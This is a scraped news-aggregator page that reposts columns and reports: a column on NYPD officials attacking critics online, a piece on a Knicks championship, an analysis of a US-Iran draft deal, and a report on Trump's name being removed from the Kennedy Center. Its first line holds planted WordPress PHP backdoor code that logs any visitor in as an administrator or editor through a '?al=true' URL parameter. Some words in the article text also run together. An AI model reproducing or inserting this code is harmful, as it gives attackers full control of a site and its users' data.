// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); The NYPD smeared me on social media. A new report proves me right. – Blue Light News
Connect with us

The Dictatorship

The NYPD smeared me on social media. A new report proves me right.

Published

on

The NYPD smeared me on social media. A new report proves me right.

Policing done right is hard, honorable work. And maintaining confidence in the police as a fair-minded, apolitical institution that enforces the law in an impartial way is all about staying calm when emotions are high.

That was the bottom line of last week’s 41-page report by New York City’s admirably independent Department of Investigation, which last year tore into an unprecedented torrent of antagonistic tweets by top NYPD brass targeting elected officials, judges, and even the occasional journalist. The report found the barrage “irresponsible,” “unprofessional” and “intimidating.” The DOI even questioned whether some posts violated the federal Hatch Act barring political activity by public officials.

The NYPD leaders who spent the first few months of 2024 publicly attacking their perceived enemies online piped down as the department weathered raid after raid after raid by the FBI. The department churned through three commissioners while Mayor Eric Adamsan ex-cop now facing a criminal trial on corruption charges, cheered on his police officials as they lashed out.

There’s a big problem if police with shields, cuffs, guns and the authority to use them and their bosses are as free to mouth off as the people armed only with pens and keyboards.

Chief John Chell, who’s since been promoted to become the department’s top uniformed officialchallenged a woman who’d asked tough questions to Mayor Adams to come find him at the funeral of a murdered police officer. He attacked a judge for the release of a violent criminal on bail but named the wrong judge. And repeatedly called on voters to cast out a socialist city council member as the two exchanged crude insults.

I was the subject of some of the attacks, labeled in a tweet on the official @nypdnews account as “Harry ‘Deceitful’ Siegel,” and smeared by various bosses there for “hating cops” as they vowed to no longer “allow disingenuous and outright false reporting to be spewed unabated.”

“We are the police, and you are a gadfly,” sneered a deputy commissioner on his official account.

I welcome criticism and often learn from it. I always take pains to get the facts right and correct them when I don’t. As for remarks like these, I defer to DOI Commissioner Jocelyn Strauber, who dryly stated, “No aspect of the social media exchanges that DOI reviewed in this investigation served the public.”

Adams thought differently.

“I don’t think they attacked anyone,” he said last April. “If a columnist has a right to an opinion,” he added, “a police officer has the right to an opinion,” as if the chiefs and commissioners talking trash from their official city accounts were ordinary officers doing so while walking a beat.

There’s a big problem if police with shields, cuffs, guns and the authority to use them and their bosses are as free to mouth off as the people armed only with pens and keyboards.

There are just three institutions remaining in America that most people have confidence in, according to Gallup: The military, small businesses and the police, which just barely clear 50%. (Newspapers are at just 18% — another reason why Adams may not want to equate his police chiefs with ink-stained wretches.)

Each time a top cop replaces just-the-facts-ma’am “courtesy, professionalism and respect” with smack talk, it eats away at what remains of that hard-earned public confidence.

It would be nice to think that the mayor once knew better.

The NYPD “is good at laying traps, executing traps. And even if the trap doesn’t capture the prey, they would shoot the prey anyway,” Adams said years ago, laughing, while reminiscing about his own two decades wearing the uniform.

“The police department doesn’t have rules. They are the rules,” the mayor said.

New NYPD Commissioner Jessica Tisch, who Adams brought on in November to clean up the mess that he’d made of the department he once served, has been moving with force and speed to restore the NYPD’s chain of command — and public confidence in its works. But the two leading X trolls who the city’s own Department of Investigation just called to account are still there, just keeping quiet for now.

To spell out the embarrassingly obvious, what’s at stake in America’s biggest city is the very idea of a fair-minded police department that’s above politics, maintaining the trust needed to protect and serve the public. It’s a sign of how much cleaning up remains to be done by Tisch, and how much resistance Adams may pose to that work, that this has to be stated.

Harry seal

Harry Siegel is a senior editor at the newsroom The Citya columnist for the New York Daily Newsand the producer and a co-host of the “FAQ NYC” podcast.

Read More

Continue Reading
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

The Dictatorship

The Knicks are NBA champs — and New Yorkers share a moment to last a lifetime

Published

on

When the New York Knicks qualified for the NBA playoffs in 2021, after an eight-year drought, the New York Post reported on that team’s sole postseason victory with the headline“Wild crowd of Knicks fans take over streets after playoff win.”

A friend of mine visiting the city at the time picked up on the palpable Knicks fever, though he was a bit flummoxed at the level of giddiness for a team that won just one game before being bounced from the tournament by the Atlanta Hawks. “This is a basketball town,” I said, “If the Knicks ever actually make a real run at the title, this place will go absolutely insane.”

Now the New York Knickerbockers are NBA champions for the first time since 1973, having defeated the San Antonio Spurs in a five-game series that featured the greatest comeback in NBA finals history. And New York fans are indeed back in the streets, this time in even greater abundance, exploding with joy.

Now the New York Knickerbockers are NBA champions for the first time since 1973, having defeated the San Antonio Spurs in a five-game series that featured the greatest comeback in NBA finals history.

Will Leitch aptly explained why Game 4, when the Knicks rallied from a 29-point deficit at Madison Square Garden, was a microcosm for this squad’s improbable, inspiring, record-breaking playoff run: “For whatever reason, the Knicks spent most of this season toggling themselves on and off, like a circuit breaker. They just toggled themselves off and back on again. But this wasn’t a toggle: This was the smashing of a plunger that blew the roof off an entire building.”

There were doubts that first-year coach Mike Brown would be able to build off the success of his predecessor Tom Thibodeau, whose five-year run ended with the Knicks’ loss in the 2025 Eastern Conference finals, but made the Knicks legitimate title contenders for the first time since Bill Clinton was president. While this team has a lot of talent, it is hardly made of superstars.

Team captain Jalen Brunson made this year’s All-NBA Second Team, but none of the other Knicks made even the third team. Instead, their special sauce is chemistryas Brunson is joined by two of his NCAA Championship-winning Villanova teammates, Josh Hart and Mikal Bridges; New Jersey native Karl-Anthony Towns has won hearts with both his play and candor about personal tragedies he’s endured in recent years; OG Anunoby brings a quiet grittiness and clutch efforts on both sides of the court; and rotation players coming off the bench each knew their role and played with confidence when called on to play.

A Knicks fan went viral this month with the chant, “My mayor’s Muslim / My bagel’s Jewish / My Christian’s Dior / Knicks in four!” The Knicks didn’t win the title in four, but the sentiment captures the atypical warm and fuzzies engendered by the team’s championship run — and the magical, fleeting moments that won’t be forgotten by anyone lucky enough to experience them.

New York, famously not the friendliest of cities, has been tangibly united behind the Knicks. Thousands of people watching the games on a screen outside MSG on Seventh Avenue. Intrepid New Yorkers projecting the ABC broadcasts onto handball walls and the sides of buildings for their neighbors. Staten Island hip-hop legends Wu-Tang Clan rallying the moribund Garden crowd at halftime in Game 4, when the Knicks trailed by 27 points.

Anyone who has been in this city since April, whether they’re a lifelong fan, a late-coming bandwagoneer or a grimacing hater of all things New York sports, has experienced a communal, euphoric, even egalitarian vibe (though it didn’t extend to ticket prices at the Garden). As Alex Kirshner wrote in Slate“What’s happening here is some kind of confluence, one that a lot of people are desperate to bottle up but that might not come around again.”

John Turturro, the veteran actor and native New Yorker, said “one of the joys of being alive” is riding the subway with other fans after a Knicks win. “I’m in this city that no one ever looks at each other and everyone’s talking to each other,” he told CNN.

To be sure, there have been some terrible “fan” moments during the finals — when a creep threw an egg at Spurs star Victor Wembanyama on the sidewalk or when a mob viciously assaulted a Spurs fan outside the Garden after Game 3. And as The Athletic put it with regard to the clout-chasing viral video wannabes doing stupid, dangerous stunts for the clicks, “Attention-seeking knuckleheads are the lone blight on these amazing NBA Finals.” Here’s hoping said knuckleheads don’t spoil the Knicks’ victory parade down the Canyon of Heroes for the rest of us.

Yes, there are longer-suffering fanbases. Yes, New York City’s smug self-regard and disproportionate national media attention will always generate a certain level of resentment. But few fanbases have cared this much, for this long — selling out the Garden nearly every game night, even when the team’s play was abominable and the organization was better known for its toxic environment and comical mismanagement.

New York might be the financial capital of the U.S. and a prime destination for an oligarch’s pied a terre (or two), but most of the 8.5 million of us in this city will never sniff that kind of privilege. This city is prohibitively expensive, it is perpetually dirty and its infrastructure only occasionally functions properly. It is, frankly, often such an exasperating pain that rational adults have been known to regularly question their life choices for still being here.

But the Knicks are champions for the first time in more than a half-century. And these particular Knicks — humble, hard-working, overachievers with personality — reflect a New York we’d all like to believe in. They’ve briefly made us forget our troubles, and allowed us to (mostly) leave politics at the door for a few hours a night.

This victory, by this team of players, has unleashed an unbridled ecstasy from denizens of a place that prides itself on world-weary cynicism — even if that merely conceals a hopeless romanticism just beneath the surface. Go New York, go New York, go!

Anthony L. Fisher is a senior editor and opinion columnist for MS NOW.

Read More

Continue Reading

The Dictatorship

How U.S.-Iran draft agreement fails to meet Trump’s war goals

Published

on

How U.S.-Iran draft agreement fails to meet Trump’s war goals

The emerging agreement with Iran that President Donald Trump is touting does not appear to achieve several of the key goals he stated at the outset of the military conflict over three months ago.

For one, it’s unclear whether the president’s core objective of permanently preventing Iran from obtaining a nuclear bomb will be achieved. Experts say that based on the limited information provided by the administration so far, Iran offered Trump’s envoys a better nuclear deal before the war than the one Tehran is apparently offering now.

The killing of the country’s top leaders by the U.S. and Israel appears to have strengthened and emboldened the powerful Islamic Revolutionary Guards Corps, and Iran’s new supreme leader, Mojtaba Khamenei, is more radical than his late father, Ayatollah Ali Khamenei. Having demonstrated their ability to close the Strait of Hormuz and absorb U.S. and Israeli air attacks, Iran’s new hardline leaders, experts say, are likely determined to maintain its nuclear program in some form and wield greater influence in the Middle East.

“A war meant to prevent Iran from acquiring nuclear weapons will be the war that pushed them over the Rubicon,” Danny Citrinowicz, a retired Israeli military intelligence officer, told The New York Times.

There appear to be several key holes in the draft memorandum of understanding as it was outlined by a senior Trump administration official to reporters on Friday.

It is unclear whether both sides have agreed to the final wording of the memorandum.

Trump said on Saturday that he expected the “deal,” as he called it, to be signed on Sunday. But a spokesman for Iran’s foreign ministry reportedly said any signing of a memorandum of understanding “will not be tomorrow.”

No limits on missiles

The senior administration official  did not describe to reporters that any specific limits on Iran’s missile stockpile had been agreed to as part of the memorandum. When Trump announced the war on Feb. 28, he said one of the administration’s core goals was to “destroy their missiles.” Recent U.S. intelligence assessments found that 70% of Iran’s missile stockpile remains intact.

Future funding of Iran’s proxies

There are also apparently no clear references to another goal Trump described at the outset of the war, to “ensure that the regime’s terrorist proxies can no longer destabilize the region.” The senior administration official only said the agreement would end fighting across the region and, as a result, Iran would apparently no longer fund its proxies.

“We feel confident that the Israelis, that the Gulf Coast partners, that the Americans and the Iranians are all going to get behind this thing,” the official said. “And we can make it enforceable, and we can make it stick.”

Few details about nuclear program

The senior administration official said Iran will be allowed to have a civilian nuclear power program, a key demand from the Iranians that hardliners in the U.S. and Israel have long opposed.

And the most important question about a civilian nuclear program — whether Iranian officials would be allowed to enrich uranium on its own inside Iran — was not clearly answered on the call. For years, Iran has insisted it must be allowed to enrich uranium to a low level inside Iran for civilian energy purposes.

The official said Iran’s enriched uranium will be down-blended, which was also part of the Obama-era agreement, known as the Joint Comprehensive Plan of Action. One element of the draft memorandum  as described that is potentially better than the JCPOA is that all of Iran’s enriched uranium would be removed from the country after it is down-blended, according to the administration official. Under the JCPOA, 300 kilograms of enriched uranium was allowed to remain in Iran.

Palettes of cash

Iran will not receive any funding until it has implemented each element of the deal, the senior administration official said. If it does implement the agreement, the official said Iran will be relieved of “a lot of the economic pressures,” be “reintegrated into the world economy,” and get “rewarded for acting like a normal country.” If the deal is implemented as the senior official described, it appears that Iran will receive vastly more money than it did under Obama’s JCPOA.

Israel and Lebanon

The senior Trump official also said the deal includes an end to fighting  in Lebanon, one of Iran’s goals but a step that Israeli officials may oppose. Israeli officials have said they  reserve the right to attack Hezbollah in Lebanon if it threatens Israel.

The official said the agreement was a “broad regional peace agreement.” He added that “it includes Lebanon, it includes Iran, it includes the Gulf Coast countries, it includes Israel. And we feel quite confident that all of our allies, the Israelis and the Gulf Coast Coalition, will get on board.”

Clarissa-Jan Lim contributed to this reportexcerpts of which appeared in MS NOW’s live Iran war coverage on Friday.

David Rohde is the senior national security reporter for MS NOW and a two-time winner of the Pulitzer Prize for International Reporting. Previously he was the senior executive editor for national security and law for NBC News.

Read More

Continue Reading

The Dictatorship

Trump’s name removed from Kennedy Center after losing court fight

Published

on

Trump’s name removed from Kennedy Center after losing court fight

The John F. Kennedy Center for the Performing Arts has been restored to its original name.

President Donald Trump’s name was officially cleared from the marble facade of the storied cultural institution on Saturday, the Kennedy Center said, after last-minute attempts by the Trump administration to delay a federal judge’s ruling that the name cannot be changed.

The center’s executive director, Chris Matthew Flocka, said in court documents filed Saturday that the organization has “removed all physical signage on the Kennedy Center building and grounds, including the front portico, that purports to rename the Kennedy Center after President Trump or any other individual besides President Kennedy.”

Flocka also said that the center has withdrawn trademark applications officially referring to the organization as the “Trump Kennedy Center,” removed references to Trump from all paperwork.

Workers removed the lettering of Trump’s name after stormy weather in Washington late Friday caused delays. A large tarp was left hanging overnight covering the scaffolding and obscuring the view of which name — or names — remained. The tarp remained up on Saturday afternoon.

No trace of the current president’s name remained, according to court documents, in spite of his fight to the end.

Shortly after midnight, the Kennedy Center asked a judge to extend Friday’s legal deadline to remove Trump’s name until noon on Saturday because of the storms. The deadline extension was granted Saturday morning, buying the organization a few more hours to complete the erasure.

The removal of Trump’s name from the building marked a stinging defeat for the president a day before his 80th birthday. After being sworn in last year, Trump swiftly took over the institution, installing loyalists on the center’s board, upending its programming to align with his political preferences, slapping his name on the building, its website and merchandise. He also pushed for a renovation that would have shut the center down for two years.

The changes drew intense criticismincluding from members of the Kennedy family. A slew of artists canceled their performances at the center and attendance for the National Symphony Orchestra dropped.

Rep. Joyce Beatty, D-Ohio, an ex-officio board member, sued to have Trump’s name removed from the center. On May 29, U.S. District Judge Christopher Cooper ruled that the Kennedy Center board of trustees must change its name back by Friday, June 12.

“Congress gave the Kennedy Center its name, and only Congress can change it,” Cooper wrote in his decision.

Trump fumed about the court ruling in a lengthy post on Truth Social in late May, criticizing Cooper — an Obama appointee — and suggesting that he would no longer be interested in it “unless I am free to do what I do better than anyone else.”

Still, the Kennedy Center began making moves to drop Trump’s name from its website and in marketing material.

On Friday, the administration made several last-ditch efforts to halt Cooper’s ruling before the deadline, to no avail. However, the legal battle is not entirely over. The D.C. Circuit Court of Appeals, which is considering the administration’s appeal of the May 29 ruling, is expected to rule on whether to issue a stay in the next few weeks.

Clarissa-Jan Lim is a breaking news reporter for MS NOW. She was previously a senior reporter and editor at BuzzFeed News.

Fallon Gallagher is a legal affairs reporter for MS NOW.

Read More

Continue Reading

Trending